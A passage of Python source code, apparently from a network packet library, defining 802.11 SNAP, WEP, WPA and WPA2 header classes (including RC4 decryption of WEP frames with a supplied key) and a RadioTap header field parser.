self.load_packet(aBuffer)\n\n    def get_OUI(self):\n        \"Get the three-octet Organizationally Unique Identifier (OUI) SNAP frame\"\n        b = array_tobytes(self.header.get_bytes()[0:3])\n        #unpack requires a string argument of length 4 and b is 3 bytes long\n        (oui,) = struct.unpack('!L', b'\\x00'+b)\n        return oui\n\n    def set_OUI(self, value):\n        \"Set the three-octet Organizationally Unique Identifier (OUI) SNAP frame\"\n        # clear the bits\n        mask = ((~0xFFFFFF00) & 0xFF)\n        masked = self.header.get_long(0, \">\") & mask\n        # set the bits \n        nb = masked | ((value & 0x00FFFFFF) << 8)\n        self.header.set_long(0, nb)\n\n    def get_protoID(self):\n        \"Get the two-octet Protocol Identifier (PID) SNAP field\"\n        return self.header.get_word(3, \">\")\n\n    def set_protoID(self, value):\n        \"Set the two-octet Protocol Identifier (PID) SNAP field\"\n        self.header.set_word(3, value, \">\")\n\nclass Dot11WEP(ProtocolPacket):\n    '802.11 WEP'\n\n    def __init__(self, aBuffer = None):\n        header_size = 4\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def is_WEP(self):\n        'Return True if it\\'s a WEP'\n        # We already know that it's private.\n        # Now we must differentiate between WEP and WPA/WPA2\n        # WPA/WPA2 have the ExtIV (Bit 5) enaled and WEP disabled\n        b = self.header.get_byte(3)\n        return not (b & 0x20)\n            \n    def get_iv(self):\n        'Return the \\'WEP IV\\' field'\n        b = array_tobytes(self.header.get_bytes()[0:3])\n        #unpack requires a string argument of length 4 and b is 3 bytes long\n        (iv,) = struct.unpack('!L', b'\\x00'+b)\n        return iv\n\n    def set_iv(self, value):\n        'Set the \\'WEP IV\\' field.'\n        # clear the bits\n        mask = ((~0xFFFFFF00) & 0xFF)\n        masked = self.header.get_long(0, \">\") & mask\n        # set the bits \n        nb = masked | ((value & 0x00FFFFFF) << 8)\n        self.header.set_long(0, nb)\n\n    def get_keyid(self):\n        'Return the \\'WEP KEY ID\\' field'\n        b = self.header.get_byte(3)\n        return ((b>>6) & 0x03)\n\n    def set_keyid(self, value):\n        'Set the \\'WEP KEY ID\\' field'\n        # clear the bits\n        mask = (~0xC0) & 0xFF\n        masked = self.header.get_byte(3) & mask\n        # set the bits\n        nb = masked | ((value & 0x03) << 6)\n        self.header.set_byte(3, nb)\n    \n    def get_decrypted_data(self, key_string):\n        'Return \\'WEP Data\\' field decrypted'\n\n        # Needs to be at least 8 bytes of payload \n        if len(self.body_string)<8:\n            return self.body_string\n        \n        # initialize the first bytes of the key from the IV \n        # and copy rest of the WEP key (the secret part) \n        \n        # Convert IV to 3 bytes long string\n        iv=struct.pack('>L',self.get_iv())[-3:]\n        key=iv+key_string\n        rc4=RC4(key)\n        decrypted_data=rc4.decrypt(self.body_string)\n        \n        return decrypted_data\n    \n    def get_encrypted_data(self, key_string):\n        # RC4 is symmetric\n        return self.get_decrypted_data(key_string)\n    \n    def encrypt_frame(self, key_string):\n        enc = self.get_encrypted_data(key_string)\n        self.load_body(enc)\n    \nclass Dot11WEPData(ProtocolPacket):\n    '802.11 WEP Data Part'\n\n    def __init__(self, aBuffer = None):\n        header_size = 0\n        tail_size = 4\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def get_icv(self):\n        \"Return 'WEP ICV' field\"\n            \n        b = self.tail.get_long(-4, \">\")\n        return b \n\n    def set_icv(self, value = None):\n        \"Set 'WEP ICV' field\"\n\n        # Compute the WEP ICV\n        if value is None:\n            value=self.get_computed_icv()\n\n        # set the bits\n        nb = value & 0xFFFFFFFF\n        self.tail.set_long(-4, nb)\n    \n    def get_computed_icv(self):\n        crcle=crc32(self.body_string)&0xffffffff\n        # This crc32 is in little endian, convert it to big endian \n        crc=struct.pack('<L', crcle)\n         # Convert to long\n        (crc_long,) = struct.unpack('!L', crc)\n        return crc_long\n    \n    def check_icv(self):\n        computed_icv=self.get_computed_icv()\n        current_icv=self.get_icv()\n        if computed_icv==current_icv:\n            return True\n        else:\n            return False\n\nclass Dot11WPA(ProtocolPacket):\n    '802.11 WPA'\n\n    def __init__(self, aBuffer = None):\n        header_size = 8\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def is_WPA(self):\n        'Return True if it\\'s a WPA'\n        # Now we must differentiate between WPA and WPA2\n        # In WPA WEPSeed is set to (TSC1 | 0x20) & 0x7f.\n        b = self.get_WEPSeed() == ((self.get_TSC1() | 0x20 ) & 0x7f)\n        return (b and self.get_extIV())\n        \n    def get_keyid(self):\n        'Return the \\'WPA KEY ID\\' field'\n        b = self.header.get_byte(3)\n        return ((b>>6) & 0x03)\n\n    def set_keyid(self, value):\n        'Set the \\'WPA KEY ID\\' field'\n        # clear the bits\n        mask = (~0xC0) & 0xFF\n        masked = self.header.get_byte(3) & mask\n        # set the bits\n        nb = masked | ((value & 0x03) << 6)\n        self.header.set_byte(3, nb)\n\n    def get_decrypted_data(self):\n        'Return \\'WPA Data\\' field decrypted'\n        # TODO: Replace it with the decoded string\n        return self.body_string\n    \n    def get_TSC1(self):\n        'Return the \\'WPA TSC1\\' field'\n        b = self.header.get_byte(0)\n        return (b & 0xFF)\n    \n    def set_TSC1(self, value):\n        'Set the \\'WPA TSC1\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(0, nb)\n        \n    def get_WEPSeed(self):\n        'Return the \\'WPA WEPSeed\\' field'\n        b = self.header.get_byte(1)\n        return (b & 0xFF)\n    \n    def set_WEPSeed(self, value):\n        'Set the \\'WPA WEPSeed\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(1, nb)\n\n    def get_TSC0(self):\n        'Return the \\'WPA TSC0\\' field'\n        b = self.header.get_byte(2)\n        return (b & 0xFF)\n    \n    def set_TSC0(self, value):\n        'Set the \\'WPA TSC0\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(2, nb)\n\n    def get_extIV(self):\n        'Return the \\'WPA extID\\' field'\n        b = self.header.get_byte(3)\n        return ((b>>5) & 0x1)\n\n    def set_extIV(self, value):\n        'Set the \\'WPA extID\\' field'\n        # clear the bits\n        mask = (~0x20) & 0xFF\n        masked = self.header.get_byte(3) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 5)\n        self.header.set_byte(3, nb)\n        \n    def get_TSC2(self):\n        'Return the \\'WPA TSC2\\' field'\n        b = self.header.get_byte(4)\n        return (b & 0xFF)\n    \n    def set_TSC2(self, value):\n        'Set the \\'WPA TSC2\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(4, nb)\n\n    def get_TSC3(self):\n        'Return the \\'WPA TSC3\\' field'\n        b = self.header.get_byte(5)\n        return (b & 0xFF)\n    \n    def set_TSC3(self, value):\n        'Set the \\'WPA TSC3\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(5, nb)\n\n    def get_TSC4(self):\n        'Return the \\'WPA TSC4\\' field'\n        b = self.header.get_byte(6)\n        return (b & 0xFF)\n    \n    def set_TSC4(self, value):\n        'Set the \\'WPA TSC4\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(6, nb)\n\n    def get_TSC5(self):\n        'Return the \\'WPA TSC5\\' field'\n        b = self.header.get_byte(7)\n        return (b & 0xFF)\n    \n    def set_TSC5(self, value):\n        'Set the \\'WPA TSC5\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(7, nb)\n\nclass Dot11WPAData(ProtocolPacket):\n    '802.11 WPA Data Part'\n\n    def __init__(self, aBuffer = None):\n        header_size = 0\n        tail_size = 12\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def get_icv(self):\n        \"Return 'WPA ICV' field\"\n            \n        b = self.tail.get_long(-4, \">\")\n        return b \n\n    def set_icv(self, value = None):\n        \"Set 'WPA ICV' field\"\n\n        # calculate the FCS\n        if value is None:\n            value=self.compute_checksum(self.body_string)\n\n        # set the bits\n        nb = value & 0xFFFFFFFF\n        self.tail.set_long(-4, nb)\n    \n    def get_MIC(self):\n        'Return the \\'WPA2Data MIC\\' field'\n        return self.get_tail_as_string()[:8]\n\n    def set_MIC(self, value):\n        'Set the \\'WPA2Data MIC\\' field'\n        #Padding to 8 bytes with 0x00's \n        value.ljust(8,b'\\x00')\n        #Stripping to 8 bytes\n        value=value[:8]\n        icv=self.tail.get_buffer_as_string()[-4:] \n        self.tail.set_bytes_from_string(value+icv)\n        \nclass Dot11WPA2(ProtocolPacket):\n    '802.11 WPA2'\n\n    def __init__(self, aBuffer = None):\n        header_size = 8\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def is_WPA2(self):\n        'Return True if it\\'s a WPA2'\n        # Now we must differentiate between WPA and WPA2\n        # In WPA WEPSeed is set to (TSC1 | 0x20) & 0x7f.\n        # In WPA2 WEPSeed=PN1 and TSC1=PN0\n        b = self.get_PN1() == ((self.get_PN0() | 0x20 ) & 0x7f)\n        return (not b and self.get_extIV())\n\n    def get_extIV(self):\n        'Return the \\'WPA2 extID\\' field'\n        b = self.header.get_byte(3)\n        return ((b>>5) & 0x1)\n    \n    def set_extIV(self, value):\n        'Set the \\'WPA2 extID\\' field'\n        # clear the bits\n        mask = (~0x20) & 0xFF\n        masked = self.header.get_byte(3) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 5)\n        self.header.set_byte(3, nb)\n        \n    def get_keyid(self):\n        'Return the \\'WPA2 KEY ID\\' field'\n        b = self.header.get_byte(3)\n        return ((b>>6) & 0x03)\n\n    def set_keyid(self, value):\n        'Set the \\'WPA2 KEY ID\\' field'\n        # clear the bits\n        mask = (~0xC0) & 0xFF\n        masked = self.header.get_byte(3) & mask\n        # set the bits\n        nb = masked | ((value & 0x03) << 6)\n        self.header.set_byte(3, nb)\n\n    def get_decrypted_data(self):\n        'Return \\'WPA2 Data\\' field decrypted'\n        # TODO: Replace it with the decoded string\n        return self.body_string\n    \n    def get_PN0(self):\n        'Return the \\'WPA2 PN0\\' field'\n        b = self.header.get_byte(0)\n        return (b & 0xFF)\n    \n    def set_PN0(self, value):\n        'Set the \\'WPA2 PN0\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(0, nb)\n        \n    def get_PN1(self):\n        'Return the \\'WPA2 PN1\\' field'\n        b = self.header.get_byte(1)\n        return (b & 0xFF)\n    \n    def set_PN1(self, value):\n        'Set the \\'WPA2 PN1\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(1, nb)\n\n    def get_PN2(self):\n        'Return the \\'WPA2 PN2\\' field'\n        b = self.header.get_byte(4)\n        return (b & 0xFF)\n    \n    def set_PN2(self, value):\n        'Set the \\'WPA2 PN2\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(4, nb)\n\n    def get_PN3(self):\n        'Return the \\'WPA2 PN3\\' field'\n        b = self.header.get_byte(5)\n        return (b & 0xFF)\n    \n    def set_PN3(self, value):\n        'Set the \\'WPA2 PN3\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(5, nb)\n\n    def get_PN4(self):\n        'Return the \\'WPA2 PN4\\' field'\n        b = self.header.get_byte(6)\n        return (b & 0xFF)\n    \n    def set_PN4(self, value):\n        'Set the \\'WPA2 PN4\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(6, nb)\n\n    def get_PN5(self):\n        'Return the \\'WPA2 PN5\\' field'\n        b = self.header.get_byte(7)\n        return (b & 0xFF)\n    \n    def set_PN5(self, value):\n        'Set the \\'WPA2 PN5\\' field'\n        # set the bits\n        nb = (value & 0xFF)\n        self.header.set_byte(7, nb)\n\nclass Dot11WPA2Data(ProtocolPacket):\n    '802.11 WPA2 Data Part'\n\n    def __init__(self, aBuffer = None):\n        header_size = 0\n        tail_size = 8\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n            \n    def get_MIC(self):\n        'Return the \\'WPA2Data MIC\\' field'\n        return self.get_tail_as_string()\n\n    def set_MIC(self, value):\n        'Set the \\'WPA2Data MIC\\' field'\n        #Padding to 8 bytes with 0x00's \n        value.ljust(8,b'\\x00')\n        #Stripping to 8 bytes\n        value=value[:8]\n        self.tail.set_bytes_from_string(value)\n\nclass RadioTap(ProtocolPacket):\n    __HEADER_BASE_SIZE = 8  # minimal header size\n    _PRESENT_FLAGS_SIZE = 4\n    _BASE_PRESENT_FLAGS_OFFSET = 4\n\n    class __RadioTapField(object):\n        ALIGNMENT = 1\n\n        def __str__( self ):\n            return str( self.__class__.__name__ )\n\n    class RTF_TSFT(__RadioTapField):\n        BIT_NUMBER = 0\n        STRUCTURE = \"<Q\"\n        ALIGNMENT = 8\n\n    class RTF_FLAGS(__RadioTapField):\n        BIT_NUMBER = 1\n        STRUCTURE = \"<B\"\n\n        # https://web.archive.org/web/20160423125307/www.radiotap.org/defined-fields/Flags\n        PROPERTY_CFP            = 0x01 #sent/received during CFP\n        PROPERTY_SHORTPREAMBLE  = 0x02 #sent/received with short preamble\n        PROPERTY_WEP            = 0x04 #sent/received with WEP encryption\n        PROPERTY_FRAGMENTATION  = 0x08 #sent/received with fragmentation\n        PROPERTY_FCS_AT_END     = 0x10 #frame includes FCS\n        PROPERTY_PAYLOAD_PADDING= 0x20 #frame has padding between 802.11 header and payload (to 32-bit boundary)\n        PROPERTY_BAD_FCS        = 0x40 #does not pass FCS check\n        PROPERTY_SHORT_GI       = 0x80 #frame used short guard interval (HT). Unspecified but used:\n\n    class RTF_RATE(__RadioTapField):\n        BIT_NUMBER = 2\n        STRUCTURE = \"<B\"\n\n    class RTF_CHANNEL(__RadioTapField):\n        BIT_NUMBER = 3\n        STRUCTURE = \"<HH\"\n        ALIGNMENT = 2\n\n    class RTF_FHSS(__RadioTapField):\n        BIT_NUMBER = 4\n        STRUCTURE = \"<BB\"\n\n    class RTF_DBM_ANTSIGNAL(__RadioTapField):\n        BIT_NUMBER = 5\n        STRUCTURE = \"<B\"\n\n    class RTF_DBM_ANTNOISE(__RadioTapField):\n        BIT_NUMBER = 6\n        STRUCTURE = \"<B\"\n\n    class RTF_LOCK_QUALITY(__RadioTapField):\n        BIT_NUMBER = 7\n        STRUCTURE = \"<H\"\n        ALIGNMENT = 2\n\n    class RTF_TX_ATTENUATION(__RadioTapField):\n        BIT_NUMBER = 8\n        STRUCTURE = \"<H\"\n        ALIGNMENT = 2\n\n    class RTF_DB_TX_ATTENUATION(__RadioTapField):\n        BIT_NUMBER = 9\n        STRUCTURE = \"<H\"\n        ALIGNMENT = 2\n\n    class RTF_DBM_TX_POWER(__RadioTapField):\n        BIT_NUMBER = 10\n        STRUCTURE = \"<b\"\n        ALIGNMENT = 2\n\n    class RTF_ANTENNA(__RadioTapField):\n        BIT_NUMBER = 11\n        STRUCTURE = \"<B\"\n\n    class RTF_DB_ANTSIGNAL(__RadioTapField):\n        BIT_NUMBER = 12\n        STRUCTURE = \"<B\"\n\n    class RTF_DB_ANTNOISE(__RadioTapField):\n        BIT_NUMBER = 13\n        STRUCTURE = \"<B\"\n\n##    # official assignment, clashes with RTF_FCS_IN_HEADER\n##    class RTF_RX_FLAGS(__RadioTapField):\n##        BIT_NUMBER = 14\n##        STRUCTURE = \"<H\"\n##        ALIGNMENT = 2\n\n    # clashes with RTF_RX_FLAGS\n    class RTF_FCS_IN_HEADER(__RadioTapField):\n        BIT_NUMBER = 14\n        STRUCTURE = \"<L\"\n        ALIGNMENT = 4   \n\n    # clashes with HARDWARE_QUEUE\n    class RTF_TX_FLAGS(__RadioTapField):\n        BIT_NUMBER = 15\n        STRUCTURE = \"<H\"\n        ALIGNMENT = 2\n\n##    # clashes with TX_FLAGS\n##    class RTF_HARDWARE_QUEUE(__RadioTapField):\n##        BIT_NUMBER = 15\n##        STRUCTURE = \"<B\"\n##        ALIGNMENT = 1\n\n    # clashes with RSSI\n    class RTF_RTS_RETRIES(__RadioTapField):\n        BIT_NUMBER = 16\n        STRUCTURE = \"<B\"\n\n##    # clashes with RTS_RETRIES \n##    class RTF_RSSI(__RadioTapField):\n##        BIT_NUMBER = 16\n##        STRUCTURE = \"<H\"\n##        ALIGNMENT = 1\n\n    class RTF_DATA_RETRIES(__RadioTapField):\n        BIT_NUMBER = 17\n        STRUCTURE = \"<B\"\n\n    class RTF_XCHANNEL(__RadioTapField):\n        BIT_NUMBER = 18\n        STRUCTURE = \"<LHBB\"\n        ALIGNMENT = 4\n\n    class RTF_EXT(__RadioTapField):\n        BIT_NUMBER = 31\n        STRUCTURE = []\n    \n    # Sort the list so the 'for' statement walk the list in the right order\n    radiotap_fields = __RadioTapField.__subclasses__()\n    radiotap_fields.sort(key= lambda x: x.BIT_NUMBER)\n\n    def __init__(self, aBuffer = None):\n        header_size = self.__HEADER_BASE_SIZE \n        tail_size = 0\n        \n        if aBuffer:\n            length = struct.unpack('<H', aBuffer[2:4])[0]\n            header_size=length\n                    \n            ProtocolPacket.__init__(self, header_size, tail_size)\n            self.load_packet(aBuffer)\n        else:\n            ProtocolPacket.__init__(self, header_size, tail_size)\n            self.set_version(0)\n            self.__set_present(0x00000000)\n            \n    def get_header_length(self):\n        'Return the RadioTap header \\'length\\' field'\n        self.__update_header_length()        \n        return self.header.get_word(2, \"<\")\n            \n    def get_version(self):\n        'Return the \\'version\\' field'\n        b = self.header.get_byte(0)\n        return b\n    \n    def set_version(self, value):\n        'Set the \\'version\\' field'\n        nb = (value & 0xFF)\n        self.header.set_byte(0, nb)\n        \n        nb = (value & 0xFF)\n        \n    def get_present(self, offset=_BASE_PRESENT_FLAGS_OFFSET):\n        \"Return RadioTap present bitmap field\"\n        present = self.header.get_long(offset, \"<\")\n        return present\n\n    def __set_present(self, value):\n        \"Set RadioTap present field bit\"\n        self.header.set_long(4, value)\n\n    def get_present_bit(self, field, offset=4):\n        'Get a \\'present\\' field bit'\n        present=self.get_present(offset)\n        return not not (2**field.BIT_NUMBER & present)\n\n    def __set_present_bit(self, field):\n        'Set a \\'present\\' field bit'\n        npresent=2**field.BIT_NUMBER | self.get_present()\n        self.header.set_long(4, npresent,'<')\n\n    def __unset_present_bit(self, field):\n        'Unset a \\'present\\' field bit'\n        npresent=~(2**field.BIT_NUMBER) & self.get_present()\n        self.header.set_long(4, npresent,'<')\n        \n    def __align(self, val, align):\n        return ( (((val) + ((align) - 1)) & ~((align) - 1)) - val )\n\n    def __get_field_position(self, field):\n\n        offset = RadioTap._BASE_PRESENT_FLAGS_OFFSET\n        extra_present_flags_count = 0\n        while self.get_present_bit(RadioTap.RTF_EXT, offset):\n            offset += RadioTap._PRESENT_FLAGS_SIZE\n            extra_present_flags_count += 1\n\n        field_position = self.__HEADER_BASE_SIZE + (RadioTap._BASE_PRESENT_FLAGS_OFFSET * extra_present_flags_count)\n\n        for f in self.radiotap_fields:\n            field_position += self.__align(field_position, f.ALIGNMENT)\n            if f == field:\n                return field_position\n\n            if self.get_present_bit(f):\n                total_length = struct.calcsize(f.STRUCTURE)\n                field_position += total_length\n\n        return None\n\n    def unset_field( self, field):\n        is_present=self.get_present_bit(field)\n        if is_present is False:\n            return False\n                \n        byte_pos=self.__get_field_position(field)\n        if not byte_pos:\n            return False\n\n        self.__unset_present_bit(field)\n\n        header=self.get_header_as_string()\n        total_length = struct.calcsize(field.STRUCTURE)\n        header=header[:byte_pos]+header[byte_pos+total_length:]\n        \n        self.load_header(header)\n\n    def __get_field_values( self, field ):\n        is_present=self.get_present_bit(field)\n        if is_present is False:\n            return None\n        \n        byte_pos=self.__get_field_position(field)\n        header=self.get_header_as_string()\n        total_length=struct.calcsize(field.STRUCTURE)\n        v=header[ byte_pos:byte_pos+total_length ]\n        \n        field_values = struct.unpack(field.STRUCTURE, v)\n        \n        return field_values\n\n    def __set_field_values( self, field, values ):\n        if not hasattr(values,'__iter__'):\n            raise Exception(\"arg 'values' is not iterable\")\n        \n        # It's for to known the qty of argument of a structure\n        num_fields=len(''.join(c for c in field.STRUCTURE if c not in '=@!<>'))\n\n        if len(values)!=num_fields:\n            raise Exception(\"Field %s has exactly %d items\"%(str(field),struct.calcsize(field.STRUCTURE)))\n        \n        is_present=self.get_present_bit(field)\n        if is_present is False:\n            self.__set_present_bit(field)\n        \n        byte_pos=self.__get_field_position(field)\n        header=self.get_header_as_string()\n        total_length=struct.calcsize(field.STRUCTURE)\n\n        new_str = struct.pack(field.STRUCTURE, *values)\n\n        if is_present is True:\n            header=header[:byte_pos]+new_str+header[byte_pos+total_length:]\n        else:\n            header=header[:byte_pos]+new_str+header[byte_pos:]\n        self.load_header(header)\n\n            \n    def set_tsft( self, nvalue ):\n        \"Set the Value in microseconds of the MAC's 64-bit 802.11 \"\\\n        \"Time Synchronization Function timer when the first bit of \"\\\n        \"the MPDU arrived at the MAC\"\n        self.__set_field_values(RadioTap.RTF_TSFT, [nvalue])\n        \n    def get_tsft( self ):\n        \"Get the Value in microseconds of the MAC's 64-bit 802.11 \"\\\n        \"Time Synchronization Function timer when the first bit of \"\\\n        \"the MPDU arrived at the MAC\"\n        \n        values=self.__get_field_values(RadioTap.RTF_TSFT)\n        if not values:\n            return None\n        return values[0]\n\n    def set_flags( self, nvalue ):\n        \"Set the properties of transmitted and received frames.\"\n        self.__set_field_values(self.RTF_FLAGS, [nvalue])\n   \n    def get_flags( self ):\n        \"Get the properties of transmitted and received frames.\"\n        values=self.__get_field_values(self.RTF_FLAGS)\n        if not values:\n            return None\n        return values[0]\n   \n    def set_rate( self, nvalue ):\n        \"Set the TX/RX data rate in 500 Kbps units\" \n        \n        self.__set_field_values(self.RTF_RATE, [nvalue])\n   \n    def get_rate( self ):\n        \"Get the TX/RX data rate in 500 Kbps units\" \n\n        values=self.__get_field_values(self.RTF_RATE)\n        if not values:\n            return None\n        return values[0]\n\n    def set_channel( self, freq, flags ):\n        \"Set the channel Tx/Rx frequency in MHz and the channel flags\" \n\n        self.__set_field_values(self.RTF_CHANNEL, [freq, flags])\n   \n    def get_channel( self ):\n        \"Get the TX/RX data rate in 500 Kbps units\" \n\n        values=self.__get_field_values(self.RTF_CHANNEL)\n\n        return values\n\n    def set_FHSS( self, hop_set, hop_pattern ):\n        \"Set the hop set and pattern for frequency-hopping radios\" \n\n        self.__set_field_values(self.RTF_FHSS, [hop_set, hop_pattern])\n   \n    def get_FHSS( self ):\n        \"Get the hop set and pattern for frequency-hopping radios\" \n\n        values=self.__get_field_values(self.RTF_FHSS)\n\n        return values\n\n    def set_dBm_ant_signal( self, signal ):\n        \"Set the RF signal power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\" \n\n        self.__set_field_values(self.RTF_DBM_ANTSIGNAL, [signal])\n   \n    def get_dBm_ant_signal( self ):\n        \"Get the RF signal power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\" \n\n        values=self.__get_field_values(self.RTF_DBM_ANTSIGNAL)\n        if not values:\n            return None\n        return values[0]\n\n    def set_dBm_ant_noise( self, signal ):\n        \"Set the RF noise power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\"\n\n        self.__set_field_values(self.RTF_DBM_ANTNOISE, [signal])\n   \n    def get_dBm_ant_noise( self ):\n        \"Get the RF noise power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\"\n\n        values=self.__get_field_values(self.RTF_DBM_ANTNOISE)\n        if not values:\n            return None\n        return values[0]\n\n    def set_lock_quality( self, quality ):\n        \"Set the quality of Barker code lock. \"\\\n        \"Called 'Signal Quality' in datasheets. \"\n\n        self.__set_field_values(self.RTF_LOCK_QUALITY, [quality])\n   \n    def get_lock_quality( self ):\n        \"Get the quality of Barker code lock. \"\\\n        \"Called 'Signal Quality' in datasheets. \"\n        \n        values=self.__get_field_values(self.RTF_LOCK_QUALITY)\n        if not values:\n            return None\n        return values[0]\n\n    def set_tx_attenuation( self, power ):\n        \"Set the transmit power expressed as unitless distance from max power \"\\\n        \"set at factory calibration. 0 is max power.\"\n\n        self.__set_field_values(self.RTF_TX_ATTENUATION, [power])\n   \n    def get_tx_attenuation( self ):\n        \"Set the transmit power expressed as unitless distance from max power \"\\\n        \"set at factory calibration. 0 is max power.\"\n        \n        values=self.__get_field_values(self.RTF_TX_ATTENUATION)\n        if not values:\n            return None\n        return values[0]\n\n    def set_dB_tx_attenuation( self, power ):\n        \"Set the transmit power expressed as decibel distance from max power \"\\\n        \"set at factory calibration. 0 is max power. \"\n\n        self.__set_field_values(self.RTF_DB_TX_ATTENUATION, [power])\n   \n    def get_dB_tx_attenuation( self ):\n        \"Set the transmit power expressed as decibel distance from max power \"\\\n        \"set at factory calibration. 0 is max power. \"\n        \n        values=self.__get_field_values(self.RTF_DB_TX_ATTENUATION)\n        if not values:\n            return None\n        return values[0]\n\n    def set_dBm_tx_power( self, power ):\n        \"Set the transmit power expressed as dBm (decibels from a 1 milliwatt\"\\\n        \" reference). This is the absolute power level measured at the \"\\\n        \"antenna port.\"\n        \n        self.__set_field_values(self.RTF_DBM_TX_POWER, [power])\n   \n    def get_dBm_tx_power( self ):\n        \"Get the transmit power expressed as dBm (decibels from a 1 milliwatt\"\\\n        \" reference). This is the absolute power level measured at the \"\\\n        \"antenna port.\"\n        \n        values=self.__get_field_values(self.RTF_DBM_TX_POWER)\n        if not values:\n            return None\n        return values[0]\n\n    def set_antenna( self, antenna_index ):\n        \"Set Rx/Tx antenna index for this packet. \"\\\n        \"The first antenna is antenna 0. \"\\\n        \n        self.__set_field_values(self.RTF_ANTENNA, [antenna_index])\n   \n    def get_antenna( self ):\n        \"Set Rx/Tx antenna index for this packet. \"\\\n        \"The first antenna is antenna 0. \"\\\n        \n        values=self.__get_field_values(self.RTF_ANTENNA)\n        if not values:\n            return None\n        return values[0]\n\n    def set_dB_ant_signal( self, signal ):\n        \"Set the RF signal power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\" \n\n        self.__set_field_values(self.RTF_DB_ANTSIGNAL, [signal])\n   \n    def get_dB_ant_signal( self ):\n        \"Get the RF signal power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\" \n\n        values=self.__get_field_values(self.RTF_DB_ANTSIGNAL)\n        if not values:\n            return None\n        return values[0]\n\n    def set_dB_ant_noise( self, signal ):\n        \"Set the RF noise power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\" \n\n        self.__set_field_values(self.RTF_DB_ANTNOISE, [signal])\n   \n    def get_dB_ant_noise( self ):\n        \"Get the RF noise power at the antenna, decibel difference from an \"\\\n        \"arbitrary, fixed reference.\" \n\n        values=self.__get_field_values(self.RTF_DB_ANTNOISE)\n        if not values:\n            return None\n        return values[0]\n\n##    def set_rx_flags( self, flags ):\n##        \"Set the properties of received frames.\" \n##\n##        self.__set_field_values(self.RTF_RX_FLAGS, [flags])\n##   \n##    def get_rx_flags( self ):\n##        \"Get the properties of received frames.\" \n##\n##        values=self.__get_field_values(self.RTF_RX_FLAGS)\n##        if not values:\n##            return None\n##        return values[0]\n\n    def set_FCS_in_header( self, fcs ):\n        \"Set the Field containing the FCS of the frame (instead of it being \"\\\n        \"appended to the frame as it would appear on the air.) \" \n\n        self.__set_field_values(self.RTF_FCS_IN_HEADER, [fcs])\n   \n    def get_FCS_in_header( self ):\n        \"Get the Field containing the FCS of the frame (instead of it being \"\\\n        \"appended to the frame as it would appear on the air.) \" \n\n        values=self.__get_field_values(self.RTF_FCS_IN_HEADER)\n        if not values:\n            return None\n        return values[0]\n\n##    def set_RSSI( self, rssi, max_rssi ):\n##        \"Set the received signal strength and the maximum for the hardware.\" \n##        \n##        self.__set_field_values(self.RTF_RSSI, [rssi, max_rssi])\n##   \n##    def get_RSSI( self ):\n##        \"Get the received signal strength and the maximum for the hardware.\" \n##        \n##        values=self.__get_field_values(self.RTF_RSSI)\n##        \n##        return values\n\n    def set_RTS_retries( self, retries):\n        \"Set the number of RTS retries a transmitted frame used.\" \n        \n        self.__set_field_values(self.RTF_RTS_RETRIES, [retries])\n   \n    def get_RTS_retries( self ):\n        \"Get the number of RTS retries a transmitted frame used.\" \n        \n        values=self.__get_field_values(self.RTF_RTS_RETRIES)\n        if not values:\n            return None\n        return values[0]\n\n    def set_tx_flags( self, flags ):\n        \"Set the properties of transmitted frames.\" \n\n        self.__set_field_values(self.RTF_TX_FLAGS, [flags])\n   \n    def get_tx_flags( self ):\n        \"Get the properties of transmitted frames.\" \n\n        values=self.__get_field_values(self.RTF_TX_FLAGS)\n        if not values:\n            return None\n        return values[0]\n\n    def set_xchannel( self, flags, freq, channel, maxpower ):\n        \"Set extended channel information: flags, freq, channel and maxpower\" \n        \n        self.__set_field_values(self.RTF_XCHANNEL, [flags, freq, channel, maxpower] )\n   \n    def get_xchannel( self ):\n        \"Get extended channel information: flags, freq, channel and maxpower\" \n        \n        values=self.__get_field_values(field=self.RTF_XCHANNEL)\n\n        return values\n\n    def set_data_retries( self, retries ):\n        \"Set the number of data retries a transmitted frame used.\" \n\n        self.__set_field_values(self.RTF_DATA_RETRIES, [retries])\n   \n    def get_data_retries( self ):\n        \"Get the number of data retries a transmitted frame used.\" \n\n        values=self.__get_field_values(self.RTF_DATA_RETRIES)\n        if not values:\n            return None\n        return values[0]\n\n    def set_hardware_queue( self, queue ):\n        \"Set the hardware queue to send the frame on.\" \n\n        self.__set_field_values(self.RTF_HARDWARE_QUEUE, [queue])\n   \n##    def get_hardware_queue( self ):\n##        